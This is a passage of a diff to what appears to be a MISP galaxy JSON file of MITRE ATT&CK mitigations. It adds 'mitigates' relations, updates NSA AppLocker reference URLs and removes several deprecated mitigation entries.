"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8f504411-cb96-4dac-a537-8d2bb7679c59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "613d08bc-e8f4-4791-80b0-c8b974340dfd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3731fbcd-0e43-47ae-ae6c-d15e510f0d42", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "2f316f6c-ae42-44fe-adf8-150989e0f6d3", @@ -5840,6 +7971,34 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "20a2baeb-98c2-4901-bad7-dc62d0a03dea", @@ -5853,7 +8012,7 @@ "https://attack.mitre.org/mitigations/T1209", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" ] }, @@ -5912,6 +8071,34 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "01327cde-66c4-4123-bf34-5f258d59457b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "23843cff-f7b9-4659-a7b7-713ef347f547", @@ -5939,6 +8126,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "f0589bc3-a6ae-425a-a3d5-5659bfee07f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "49c06d54-9002-491d-9147-8efb537fbd26", @@ -5966,6 +8167,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "2995bc22-2851-4345-ad19-4e7e295be264", @@ -5982,7 +8197,7 @@ "https://skanthak.homepage.t-online.de/sentinel.html", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" ] }, @@ -6006,7 +8221,7 @@ "https://attack.mitre.org/mitigations/T1035", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -6034,7 +8249,7 @@ "https://technet.microsoft.com/library/dn221960.aspx", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -6066,6 +8281,27 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b2d03cea-aec1-45ca-9744-9ee583c1e1cc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c", @@ -6179,7 +8415,147 @@ "type": "mitigates" }, { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "dest-uuid": "01327cde-66c4-4123-bf34-5f258d59457b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "19bf235b-8620-4997-b5b4-94e0659ed7c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0df05477-c572-4ed6-88a9-47c581f548f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "38eb0c22-6caf-46ce-8869-5964bd735858", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "18cffc21-3260-437e-80e4-4ab8bf2ba5e9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2bee5ffb-7a7a-4119-b1f2-158151b19ac0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0bda01d5-4c1d-4062-8ee2-6872334383c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "36b2a1d7-e09e-49bf-b45e-477076c2ec01", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "79a4052e-1a89-4b09-aea6-51f1d11fe19c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8868cb5b-d575-4a60-acb2-07d37389a2fd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6197,7 +8573,7 @@ "https://attack.mitre.org/mitigations/T1037", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" ] }, "related": [ @@ -6234,6 +8610,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8f504411-cb96-4dac-a537-8d2bb7679c59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", @@ -6247,7 +8637,7 @@ "https://attack.mitre.org/mitigations/T1093", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -6286,6 +8676,27 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "f0589bc3-a6ae-425a-a3d5-5659bfee07f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "e8242a33-481c-4891-af63-4cf3e4cf6aff", @@ -6320,7 +8731,7 @@ "https://attack.mitre.org/mitigations/T1045", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -6392,66 +8803,18 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "f244b8dd-af6c-4391-a497-fc03627ce995", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "787fb64d-c87b-4ee5-a341-0ef17ec4c15c", "value": "Do Not Mitigate - M1055" }, - { - "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)\n\nIdentify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nUtilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppAmour (Citation: AppArmor official).", - "meta": { - "external_id": "T1055", - "refs": [ - "https://attack.mitre.org/mitigations/T1055", - "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html", - "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", - "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", - "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", - "https://technet.microsoft.com/en-us/library/ee791851.aspx", - "https://www.kernel.org/doc/Documentation/security/Yama.txt", - "https://selinuxproject.org/page/Main_Page", - "https://grsecurity.net/", - "http://wiki.apparmor.net/index.php/Main_Page" - ] - }, - "related": [ - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "74febc44-8955-4e4d-aca0-d4dad2f967d7", - "value": "Process Injection Mitigation - T1055" - }, - { - "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).", - "meta": { - "external_id": "T1056", - "refs": [ - "https://attack.mitre.org/mitigations/T1056", - "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", - "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", - "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", - "https://technet.microsoft.com/en-us/library/ee791851.aspx" - ] - }, - "related": [ - { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "da8a87d2-946d-4c34-9a30-709058b98996", - "value": "Input Capture Mitigation - T1056" - }, { "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { @@ -6460,7 +8823,7 @@ "https://attack.mitre.org/mitigations/T1057", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -6486,7 +8849,7 @@ "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -6504,7 +8867,7 @@ "value": "Account Discovery Mitigation - T1087" }, { - "description": "Take measures to detect or prevent techniques such as [Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. \n\nFollow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access) \n\nAudit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. \n\nApplications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured. ", + "description": "Take measures to detect or prevent techniques such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. \n\nFollow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access) \n\nAudit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. \n\nApplications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured. ", "meta": { "external_id": "T1078", "refs": [ @@ -6548,26 +8911,6 @@ "uuid": "24478001-2eb3-4b06-a02e-96b3d61d27ec", "value": "Multilayer Encryption Mitigation - T1079" }, - { - "description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", - "meta": { - "external_id": "T1098", - "refs": [ - "https://attack.mitre.org/mitigations/T1098" - ] - }, - "related": [ - { - "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "fdb1ae84-7b00-4d3d-b7dc-c774beef6425", - "value": "Account Manipulation Mitigation - T1098" - }, { "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { @@ -6576,7 +8919,7 @@ "https://attack.mitre.org/mitigations/T1112", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -6623,7 +8966,7 @@ "https://attack.mitre.org/mitigations/T1113", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -6648,7 +8991,7 @@ "https://attack.mitre.org/mitigations/T1114", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -6693,7 +9036,7 @@ "https://attack.mitre.org/mitigations/T1115", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -6736,7 +9079,7 @@ "external_id": "T1116", "refs": [ "https://attack.mitre.org/mitigations/T1116", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "https://technet.microsoft.com/en-us/library/cc733026.aspx", "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/" ] @@ -6761,7 +9104,7 @@ "https://attack.mitre.org/mitigations/T1119", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -6808,7 +9151,7 @@ "https://attack.mitre.org/mitigations/T1123", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -6854,7 +9197,7 @@ "https://attack.mitre.org/mitigations/T1125", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -6922,7 +9265,7 @@ "https://attack.mitre.org/mitigations/T1182", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" ] }, "related": [ @@ -7052,6 +9395,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "8187bd2a-866f-4457-9009-86b0ddedffa3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "ace4daee-f914-4707-be75-843f16da2edf", @@ -7092,6 +9442,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "f27ef4f2-71fe-48b6-b7f4-02dcac14320e", @@ -7158,27 +9515,6 @@ "uuid": "6e7db820-9735-4545-bc64-039bc4ce354b", "value": "LC_MAIN Hijacking Mitigation - T1149" }, - { - "description": "Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to 